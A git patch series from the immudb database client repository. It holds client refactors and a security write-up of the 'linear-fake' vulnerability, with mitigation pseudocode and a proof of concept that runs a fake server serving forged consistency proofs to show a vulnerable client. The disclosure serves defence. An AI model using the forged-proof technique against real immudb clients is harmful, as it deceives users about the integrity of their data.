d.Open("immudb://immudb:immudb@127.0.0.1:5555/defaultdb") require.Error(t, err) @@ -112,6 +125,8 @@ func TestDriver_OpenSSLPrefer(t *testing.T) { port, cleanup := testServer(t) defer cleanup() + setTempCwd(t) + d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb", port)) require.NoError(t, err) @@ -122,6 +137,8 @@ func TestDriver_OpenSSLDisable(t *testing.T) { port, cleanup := testServer(t) defer cleanup() + setTempCwd(t) + d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NoError(t, err) @@ -134,6 +151,8 @@ func TestDriver_OpenSSLRequire(t *testing.T) { port, cleanup := testServer(t) defer cleanup() + setTempCwd(t) + d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=require", port)) require.NoError(t, err) @@ -144,6 +163,8 @@ func Test_SQLOpen(t *testing.T) { port, cleanup := testServer(t) defer cleanup() + setTempCwd(t) + db, err := sql.Open("immudb", fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NoError(t, err) @@ -155,6 +176,8 @@ func Test_Open(t *testing.T) { port, cleanup := testServer(t) defer cleanup() + setTempCwd(t) + db := Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NotNil(t, db) From b9ee70ce70701a5acc6d9a7dff5cec13d0cf7a76 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 16:34:14 +0100 Subject: [PATCH 0020/1062] chore(pkg/client/cache): Describe serverIdentity parameter MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/client/cache/cache.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pkg/client/cache/cache.go b/pkg/client/cache/cache.go index a87b97f729..1733754419 100644 --- a/pkg/client/cache/cache.go +++ b/pkg/client/cache/cache.go @@ -34,6 +34,10 @@ type Cache interface { Unlock() error // Consistency check validates that a server with given identity can use given server uuid + // + // `serverIdentity` must uniquely identify given immudb server instance. + // Go SDK passes `host:port` pair as the server identity however the Cache interface implementation + // must not do any assumptions about the structure of this data. ServerIdentityCheck(serverIdentity, serverUUID string) error } From 535cd7c94fa2003e52136ac5edafb822b8599993 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 16:50:59 +0100 Subject: [PATCH 0021/1062] chore(pkg/client/cache): Limit the hash part of the identity file name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Use only the first 16 bytes and use base64-encoding. Signed-off-by: Bartłomiej Święcki --- pkg/client/cache/common.go | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/pkg/client/cache/common.go b/pkg/client/cache/common.go index 9a1af9985e..4c05532d2a 100644 --- a/pkg/client/cache/common.go +++ b/pkg/client/cache/common.go @@ -18,7 +18,7 @@ package cache import ( "crypto/sha256" - "encoding/hex" + "encoding/base64" "encoding/json" "fmt" "os" @@ -27,11 +27,14 @@ import ( "github.com/rogpeppe/go-internal/lockedfile" ) -const IDENTITY_FN = ".identity-" +const ( + IDENTITY_FN = ".identity-" + identityHashBytes = 16 +) func getFilenameForServerIdentity(serverIdentity, identityDir string) string { identityHashRaw := sha256.Sum256([]byte(serverIdentity)) - identityHash := hex.EncodeToString(identityHashRaw[:]) + identityHash := base64.RawURLEncoding.EncodeToString(identityHashRaw[:identityHashBytes]) return filepath.Join(identityDir, IDENTITY_FN+identityHash) } From c0aa2b9a84956305cd34ab995e915708549e680d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Thu, 10 Nov 2022 11:43:24 +0100 Subject: [PATCH 0022/1062] chore(pkg/client/state): Cleanup mutex handling in StateService MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Use standard mutex instead of RWMutex * Use separate field for mutex instead of embeding it directly Signed-off-by: Bartłomiej Święcki --- pkg/client/state/state_service.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/pkg/client/state/state_service.go b/pkg/client/state/state_service.go index a02387bf14..912aebae1b 100644 --- a/pkg/client/state/state_service.go +++ b/pkg/client/state/state_service.go @@ -39,7 +39,7 @@ type stateService struct { cache cache.Cache serverUUID string logger logger.Logger - sync.RWMutex + m sync.Mutex } // NewStateService ... @@ -84,8 +84,8 @@ func NewStateServiceWithUUID(cache cache.Cache, } func (r *stateService) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) { - r.Lock() - defer r.Unlock() + r.m.Lock() + defer r.m.Unlock() state, err := r.cache.Get(r.serverUUID, db) if err == nil { @@ -108,8 +108,8 @@ func (r *stateService) GetState(ctx context.Context, db string) (*schema.Immutab } func (r *stateService) SetState(db string, state *schema.ImmutableState) error { - r.Lock() - defer r.Unlock() + r.m.Lock() + defer r.m.Unlock() return r.cache.Set(r.serverUUID, db, state) } From 382b2c228494cfb467fd58d06539537feaca9bd5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 9 Nov 2022 16:51:06 +0100 Subject: [PATCH 0023/1062] fix(pkg/client): Delay server identity validation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When using token-based authentication, validate server's UUID during the `Login` method. Signed-off-by: Bartłomiej Święcki --- pkg/client/cache/cache.go | 2 +- pkg/client/client.go | 31 +++++++++++++------------------ pkg/client/options.go | 5 +++++ pkg/client/session.go | 14 ++++---------- pkg/client/state/state_service.go | 27 +++++++++++++++++++++++++-- 5 files changed, 48 insertions(+), 31 deletions(-) diff --git a/pkg/client/cache/cache.go b/pkg/client/cache/cache.go index 1733754419..91de62855f 100644 --- a/pkg/client/cache/cache.go +++ b/pkg/client/cache/cache.go @@ -33,7 +33,7 @@ type Cache interface { Lock(serverUUID string) error Unlock() error - // Consistency check validates that a server with given identity can use given server uuid + // ServerIdentityCheck check validates that a server with given identity can use given server uuid // // `serverIdentity` must uniquely identify given immudb server instance. // Go SDK passes `host:port` pair as the server identity however the Cache interface implementation diff --git a/pkg/client/client.go b/pkg/client/client.go index 1941d81562..7f67374b00 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -592,37 +592,32 @@ func NewImmuClient(options *Options) (*immuClient, error) { } stateProvider := state.NewStateProvider(serviceClient) - serverUUID, err := state.NewUUIDProvider(serviceClient).CurrentUUID(context.Background()) - if err != nil { - return nil, logErr(l, "Unable to get server uuid: %s", err) - } + uuidProvider := state.NewUUIDProvider(serviceClient) - stateCache := cache.NewFileCache(c.Options.Dir) - if !c.Options.DisableIdentityCheck { - err = stateCache.ServerIdentityCheck( - fmt.Sprintf("%s:%d", c.Options.Address, c.Options.Port), - serverUUID, - ) - if err != nil { - return nil, logErr(l, "Unable to validate server identity: %s", err) - } - } - - stateService, err := state.NewStateServiceWithUUID( - stateCache, + stateService, err := state.NewStateService( + cache.NewFileCache(options.Dir), l, stateProvider, - serverUUID, + uuidProvider, ) if err != nil { return nil, logErr(l, "Unable to create state service: %s", err) } + if !c.Options.DisableIdentityCheck { + stateService.SetServerIdentity(c.getServerIdentity()) + } + c.WithStateService(stateService) return c, nil } +func (c *immuClient) getServerIdentity() string { + // TODO: Allow customizing this value + return c.Options.Bind() +} + // SetupDialOptions extracts grpc dial options from provided client options. func (c *immuClient) SetupDialOptions(options *Options) []grpc.DialOption { opts := options.DialOptions diff --git a/pkg/client/options.go b/pkg/client/options.go index 57dd785fd0..64251a6598 100644 --- a/pkg/client/options.go +++ b/pkg/client/options.go @@ -177,6 +177,11 @@ func (o *Options) Bind() string { return o.Address + ":" + strconv.Itoa(o.Port) } +// Identity returns server's identity +func (o *Options) ServerIdentity() string { + return o.Bind() +} + // WithPasswordReader sets the password reader for the client func (o *Options) WithPasswordReader(pr c.PasswordReader) *Options { o.PasswordReader = pr diff --git a/pkg/client/session.go b/pkg/client/session.go index fa4b4aacaf..248730de5c 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -64,16 +64,6 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, }() stateCache := cache.NewFileCache(c.Options.Dir) - if !c.Options.DisableIdentityCheck { - err = stateCache.ServerIdentityCheck( - fmt.Sprintf("%s:%d", c.Options.Address, c.Options.Port), - resp.GetServerUUID(), - ) - if err != nil { - return err - } - } - stateProvider := state.NewStateProvider(serviceClient) stateService, err := state.NewStateServiceWithUUID(stateCache, c.Logger, stateProvider, resp.GetServerUUID()) @@ -81,6 +71,10 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, return errors.FromError(fmt.Errorf("unable to create state service: %v", err)) } + if !c.Options.DisableIdentityCheck { + stateService.SetServerIdentity(c.getServerIdentity()) + } + c.clientConn = clientConn c.ServiceClient = serviceClient c.Options.DialOptions = dialOptions diff --git a/pkg/client/state/state_service.go b/pkg/client/state/state_service.go index 912aebae1b..45f091a9de 100644 --- a/pkg/client/state/state_service.go +++ b/pkg/client/state/state_service.go @@ -31,6 +31,8 @@ type StateService interface { SetState(db string, state *schema.ImmutableState) error CacheLock() error CacheUnlock() error + + SetServerIdentity(identity string) } type stateService struct { @@ -40,13 +42,17 @@ type stateService struct { serverUUID string logger logger.Logger m sync.Mutex + + serverIdentityNotChecked bool + serverIdentity string } // NewStateService ... func NewStateService(cache cache.Cache, logger logger.Logger, stateProvider StateProvider, - uuidProvider UUIDProvider) (StateService, error) { + uuidProvider UUIDProvider, +) (StateService, error) { serverUUID, err := uuidProvider.CurrentUUID(context.Background()) if err != nil { @@ -69,7 +75,8 @@ func NewStateService(cache cache.Cache, func NewStateServiceWithUUID(cache cache.Cache, logger logger.Logger, stateProvider StateProvider, - serverUUID string) (StateService, error) { + serverUUID string, +) (StateService, error) { if serverUUID == "" { return nil, ErrNoServerUuid @@ -87,6 +94,14 @@ func (r *stateService) GetState(ctx context.Context, db string) (*schema.Immutab r.m.Lock() defer r.m.Unlock() + if r.serverIdentityNotChecked { + err := r.cache.ServerIdentityCheck(r.serverIdentity, r.serverUUID) + if err != nil { + return nil, err + } + r.serverIdentityNotChecked = false + } + state, err := r.cache.Get(r.serverUUID, db) if err == nil { return state, nil @@ -121,3 +136,11 @@ func (r *stateService) CacheLock() error { func (r *stateService) CacheUnlock() error { return r.cache.Unlock() } + +func (r *stateService) SetServerIdentity(identity string) { + r.m.Lock() + defer r.m.Unlock() + + r.serverIdentityNotChecked = true + r.serverIdentity = identity +} From d030705c810351d770ada445e39226ca9ff07a47 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Mon, 14 Nov 2022 13:55:10 +0100 Subject: [PATCH 0024/1062] chore(pkg/client): Document `WithDisableIdentityCheck` option MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/client/options.go | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pkg/client/options.go b/pkg/client/options.go index 64251a6598..8e80dc015b 100644 --- a/pkg/client/options.go +++ b/pkg/client/options.go @@ -224,6 +224,16 @@ func (o *Options) WithHeartBeatFrequency(heartBeatFrequency time.Duration) *Opti return o } +// WithDisableIdentityCheck disables or enables server identity check. +// +// Each server identifies itself with a unique UUID which along with the database name +// is used to identify a particular immudb database instance. This UUID+database name tuple +// is then used to select appropriate state value stored on the client side to do proof verifications. +// +// Identity check is responsible for ensuring that the server with given identity +// (which is currently the "host:port" string) must always present with the same UUID. +// +// Disabling this check means that the server can present different UUID. func (o *Options) WithDisableIdentityCheck(disableIdentityCheck bool) *Options { o.DisableIdentityCheck = disableIdentityCheck return o From 7c36a801081691defbf7110580a1905de5be5d9c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Fri, 9 Sep 2022 14:06:47 +0200 Subject: [PATCH 0025/1062] chore(docs/security): Add resources for the linear-fake vulnerability MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- .../vulnerabilities/linear-fake/Dockerfile | 5 + .../vulnerabilities/linear-fake/README.md | 261 ++++ .../linear-fake/docker-compose.yml | 7 + .../vulnerabilities/linear-fake/go/go.mod | 50 + .../vulnerabilities/linear-fake/go/go.sum | 1158 ++++++++++++++++ .../vulnerabilities/linear-fake/go/main.go | 129 ++ .../linear-fake/python/Pipfile | 12 + .../linear-fake/python/Pipfile.lock | 251 ++++ .../linear-fake/python/main.py | 43 + .../state_values_generation_test.go | 419 ++++++ .../vulnerabilities/linear-fake/server/go.mod | 58 + .../vulnerabilities/linear-fake/server/go.sum | 1171 +++++++++++++++++ .../linear-fake/server/go_client_test.go | 89 ++ .../linear-fake/server/main.go | 45 + .../linear-fake/server/server.go | 270 ++++ .../linear-fake/server/state_values.go | 473 +++++++ 16 files changed, 4441 insertions(+) create mode 100644 docs/security/vulnerabilities/linear-fake/Dockerfile create mode 100644 docs/security/vulnerabilities/linear-fake/README.md create mode 100644 docs/security/vulnerabilities/linear-fake/docker-compose.yml create mode 100644 docs/security/vulnerabilities/linear-fake/go/go.mod create mode 100644 docs/security/vulnerabilities/linear-fake/go/go.sum create mode 100644 docs/security/vulnerabilities/linear-fake/go/main.go create mode 100644 docs/security/vulnerabilities/linear-fake/python/Pipfile create mode 100644 docs/security/vulnerabilities/linear-fake/python/Pipfile.lock create mode 100644 docs/security/vulnerabilities/linear-fake/python/main.py create mode 100644 docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go create mode 100644 docs/security/vulnerabilities/linear-fake/server/go.mod create mode 100644 docs/security/vulnerabilities/linear-fake/server/go.sum create mode 100644 docs/security/vulnerabilities/linear-fake/server/go_client_test.go create mode 100644 docs/security/vulnerabilities/linear-fake/server/main.go create mode 100644 docs/security/vulnerabilities/linear-fake/server/server.go create mode 100644 docs/security/vulnerabilities/linear-fake/server/state_values.go diff --git a/docs/security/vulnerabilities/linear-fake/Dockerfile b/docs/security/vulnerabilities/linear-fake/Dockerfile new file mode 100644 index 0000000000..3faac8c2ea --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/Dockerfile @@ -0,0 +1,5 @@ +FROM golang:1.19 +COPY server /server +WORKDIR /server +RUN go build -o fake-immudb . +ENTRYPOINT ["/server/fake-immudb"] diff --git a/docs/security/vulnerabilities/linear-fake/README.md b/docs/security/vulnerabilities/linear-fake/README.md new file mode 100644 index 0000000000..4fb242bd38 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/README.md @@ -0,0 +1,261 @@ +# Linear fake vulnerability + +## Issue description + +immudb uses Merkle Tree enhanced with additional linear part to perform +consistency proofs between two transactions. The linear part is built from +the last leaf node of the Merkle Tree compensating for transactions +that were not yet *consumed* by the Merkle Tree calculation. + +The Merkle Tree part is then used to perform proofs for things that are +in transaction range covered by the Merkle Tree where the linear part +is used to check those that are not yet in the Merkle Tree. + +When doing consistency checks between two immudb transactions, the linear proof +part was not fully checked. In fact only the first entry (last Merkle Tree leaf) +and the last entry (current DB state value) of the linear part of the older transaction +that were *consumed* by the Merkle Tree of the newer transaction were checked against +the new Merkle Tree without ensuring that elements in the middle of that chain are correctly +added as leafs in the new Merkle Tree. + +This lack of check means that the database can present different set of +hashes for transactions on the linear proof part to what would later be used once those +become part of the Merkle Tree. This property can be exploited by the database +to expose two different transaction contents depending on the previously known state +that the user requested consistency proof for. + +In practice this could lead to the following scenario: + +* a client requests a verified write operation +* the server responds with a proof for the transaction +* client stores the state value retrieved from the server and + expects it to be a confirmation of that write and all the history + of the database before that transaction +* a series of validated read / write operations is performed by the client, + each accompanied by a successfully validated consistency proof and + update of the client state +* the client requests verified get operation on the transaction it + has written before (and that was verified with a proof from the server) +* the server replies with a completely different transaction that can + be properly validated according to the currently stored db state on the + client side + +## Mitigation + +### Short term + +The issue can only be exploited when the length of the linear proof outside of the +Merkle Tree is longer than 1 node. + +In order to protect against such an attack, the client library must additionally +check that all the nodes inside the linear proof from the trusted state are properly +consumed by the Merkle Tree of the updated state. The updated immudb server adds additional +`LinearAdvance` proof to the main `DualProof` that contains inclusion proofs for all the +entries in the consumed part of the linear proof. + +Note that this additional `LinearAdvance` proof is not needed if the length of the consumed +linear proof part is no longer than 1 node which will be true for all transactions committed +with a normal immudb server in version 1.3.2 and above. + +#### Validation algorithm of the additional LinearAdvance proof + +To validate the proof, all entries on the consumed linear part are checked against the +target Merkle Tree. Those nodes are computed by performing a walk on the linear proof +that must lead to the last node that we check against. + +```plain + +# 1. Calculate the range of transactions to check + +startTx := oldState.blTxID +endTx := min(oldState.txID, newState.BlTxID) + +# 2. Check if the additional proof has to be performed + +if endTxID <= startTxID+1 { + // Linear Advance Proof is not needed, the consumed linear proof part + // is short enough to be covered by other checks. + return verificationSuccess +} + +# 3. Check the proof data, note that the presence of the proof itself is only +# done at this point. The server may return no proof if it is not needed +# thus accessing proof's internals may result in nil pointer access if done +# before check in 2. + +if proof == nil || + len(proof.LinearProofTerms) != int(endTxID-startTxID) || + len(proof.InclusionProofs) != int(endTxID-startTxID)-1 { + // Proof must contain specific number of entries + return verificationFailure +} + +# 4. Loop over all consumed linear proof nodes + +calculatedAlh := proof.LinearProofTerms.Next() // alh at startTx+1 +for txID := startTxID + 1; txID < endTxID; txID++ { + + # 5. inclusion proof of the node + + if ahtree.VerifyInclusion( + proof.InclusionProofs.Next, + txID, + target.BlSize, + leafFor(calculatedAlh), + treeRoot, + ) == VerificationFailure { + return VerificationFailure + } + + # 6. Calculate the Alh for the next transaction, this is the same method as the one used + # for the LinearProof validation + calculatedAlh = sha256( toBytes(txID+1) | calculatedAlh | proof.LinearProofTerms.Next() ) + +} + +# 7. Check the final calculated hash - that one is also checked for inclusion but in different part of the proof + +if oldState.txID < newState.BlTxID { + if calculatedAlh != oldState.Alh { + return VerificationFailure + } +} else { + if calculatedAlh != newState.BlTxAlh { + return VerificationFailure + } +} + +# 8. All steps of the proof succeeded + +return VerificationSuccess + +#### Compatibility with older immudb servers + +To maintain compatibility with older servers that do not compute the `LinearAdvance` part +of the `DualProof`, the client SDK performs a series of additional calls to the immudb server +in order to fill in the missing peaces of the information. This does impose additional +overhead in the number of server calls thus it is advised to update the immudb server +to avoid such penalty. + +The algorithm for rebuilding of such `LinearAdvance` proof is as follows: + +```plain + +# 1. Calculate the range of transactions consumed by the new Merkle Tree + +startTx := oldState.blTxID +endTx := min(oldState.txID, newState.BlTxID) + +# 2. LinearAdvance proof is only needed if the length of the consumed linear chain is greater than 1. +# The node at `startTx` is validated using `LastInclusion` proof and the `endTx` is validated either +# by using the `InclusionProof` (if it is oldState.txID) or by consistency proof between old and new +# Merkle tree (if it is newState.BlTxID). + +if endTx - startTx <= 11 { + return +} + +# 3. Fill in inclusion proofs for nodes in the consumed linear path + +inclusionProofs = [] +for txID := startTx + 1; txID < endTx; txID++ { + + partialProof = client.VerifiableTxById( + Tx: targetTxID, ProveSinceTx: txID, + // Add entries spec to exclude any entries to avoid transferring large responses + EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } }, + }) + + inclusionProofs.append(partialProof.DualProof.InclusionProof) + +} +dualProof.LinearAdvanceProof.InclusionProofs = inclusionProofs + +# 4. Fill in the linear proof for all nodes on the checked path to ensure those +# lead to the final node at the endTx + +partialProof := client.VerifiableTxById(ctx, &VerifiableTxRequest{ + Tx: endTxID, ProveSinceTx: startTxID + 1, + // Add entries spec to exclude any entries to avoid transferring large responses + EntriesSpec: { KvEntriesSpec: { Action: EXCLUDE } }, +}) + +dualProof.LinearAdvanceProof.LinearProofTerms = partialProof.DualProof.LinearProof.Terms +``` + +### Long term + +Since the calculation of the Merkle Tree is always done in a synchronous manner +by default (immudb waits for full recalculation before committing a transaction) +we can completely remove the need of the linear proof part. That additional technique +was in fact added to compensate potential problems with Merkle Tree recalculation +speed, however such compensation was never needed in practice because Merkle Tree +recalculation speed is much faster than other operations necessary to commit a +transaction. + +The long-term successor of the fix presented above is to present an updated proof to the client +that only consists of the proof within the Merkle Tree without the Linear part. +Calculation of the linear part is still needed to keep compatibility with the older clients. + +## PoC + +In the `server` folder there's an implementation of a fake server that will provide +falsified proofs for certain order of operations. + +In order to check if the client is vulnerable, it must perform the following operations: + +* start with no state +* perform verified read of TX 2 (client stores state for TX 2) +* perform verified read of TX 3 (client performs consistency proof between TX 2 and TX 3) +* perform verified read of TX 5 (client performs consistency proof between TX 3 and TX 5) +* perform verified read of TX 2 again (client gets different data than what was given with + the first verified read, but the provided proof against state form TX 5 seems correct) + +A client with short-term mitigation implemented will fail reading the TX 3 - that transaction +uses linear proof with 2 nodes outside of the Merkle Tree. + +To run the server using docker container run the following (assuming that we run in the +directory where this readme file is located): + +```sh +docker-compose up -d +``` + +or + +``` sh +docker build -t immufake . && docker run -p 3322:3322 -d immufake +``` + +An immudb client demonstrating that issue can be found in `go` directory: + +```sh +$ cd go +$ go run main.go +2022/09/01 15:20:34 Reading Tx 2 +2022/09/01 15:20:34 Keys from verified read: +2022/09/01 15:20:34 valid-key-0 +2022/09/01 15:20:34 Client verified state: +2022/09/01 15:20:34 TxID: 2 +2022/09/01 15:20:34 Hash: be6ed4baa7e7b27bd419fea6d5bf52bf76aa9a64f7c6dcd6eb4e6252fc675195 +2022/09/01 15:20:34 Reading Tx 3 +2022/09/01 15:20:34 Keys from verified read: +2022/09/01 15:20:34 valid-key-1 +2022/09/01 15:20:34 Client verified state: +2022/09/01 15:20:34 TxID: 3 +2022/09/01 15:20:34 Hash: 6696b4323aaedb89b076fb63ed3bdcf7aca4ff523875c6cecf9ff5bf46eebfbf +2022/09/01 15:20:34 Reading Tx 5 +2022/09/01 15:20:34 Keys from verified read: +2022/09/01 15:20:34 key-after-1 +2022/09/01 15:20:34 Client verified state: +2022/09/01 15:20:34 TxID: 5 +2022/09/01 15:20:34 Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617 +2022/09/01 15:20:34 Reading Tx 2 +2022/09/01 15:20:34 Keys from verified read: +2022/09/01 15:20:34 fake-key +2022/09/01 15:20:34 Client verified state: +2022/09/01 15:20:34 TxID: 5 +2022/09/01 15:20:34 Hash: f590b73eccf4c19856baf48fdf4fc44c92949655561a059a392d7de1e1057617 +2022/09/01 15:20:34 FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: 'valid-key-0' and 'fake-key' +exit status 1 +``` diff --git a/docs/security/vulnerabilities/linear-fake/docker-compose.yml b/docs/security/vulnerabilities/linear-fake/docker-compose.yml new file mode 100644 index 0000000000..e5f0c73a2e --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/docker-compose.yml @@ -0,0 +1,7 @@ +version: '3' +services: + fakeimmudb: + build: + context: . + ports: + - 3322:3322 diff --git a/docs/security/vulnerabilities/linear-fake/go/go.mod b/docs/security/vulnerabilities/linear-fake/go/go.mod new file mode 100644 index 0000000000..7515577d86 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/go/go.mod @@ -0,0 +1,50 @@ +module linear-fake + +go 1.19 + +require github.com/codenotary/immudb v1.3.2 + +require ( + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/fsnotify/fsnotify v1.5.4 // indirect + github.com/golang/protobuf v1.5.2 // indirect + github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect + github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.0 // indirect + github.com/magiconair/properties v1.8.6 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/o1egl/paseto v1.0.0 // indirect + github.com/pelletier/go-toml v1.9.5 // indirect + github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/prometheus/client_golang v1.12.2 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.32.1 // indirect + github.com/prometheus/procfs v0.7.3 // indirect + github.com/rogpeppe/go-internal v1.8.0 // indirect + github.com/rs/xid v1.3.0 // indirect + github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/cobra v1.2.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/viper v1.12.0 // indirect + github.com/subosito/gotenv v1.3.0 // indirect + golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e // indirect + golang.org/x/net v0.0.0-20220708220712-1185a9018129 // indirect + golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d // indirect + golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect + golang.org/x/text v0.3.7 // indirect + google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect + google.golang.org/grpc v1.46.2 // indirect + google.golang.org/protobuf v1.28.0 // indirect + gopkg.in/ini.v1 v1.66.6 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/docs/security/vulnerabilities/linear-fake/go/go.sum b/docs/security/vulnerabilities/linear-fake/go/go.sum new file mode 100644 index 0000000000..4e01862805 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/go/go.sum @@ -0,0 +1,1158 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= +cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= +cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= +cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= +cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= 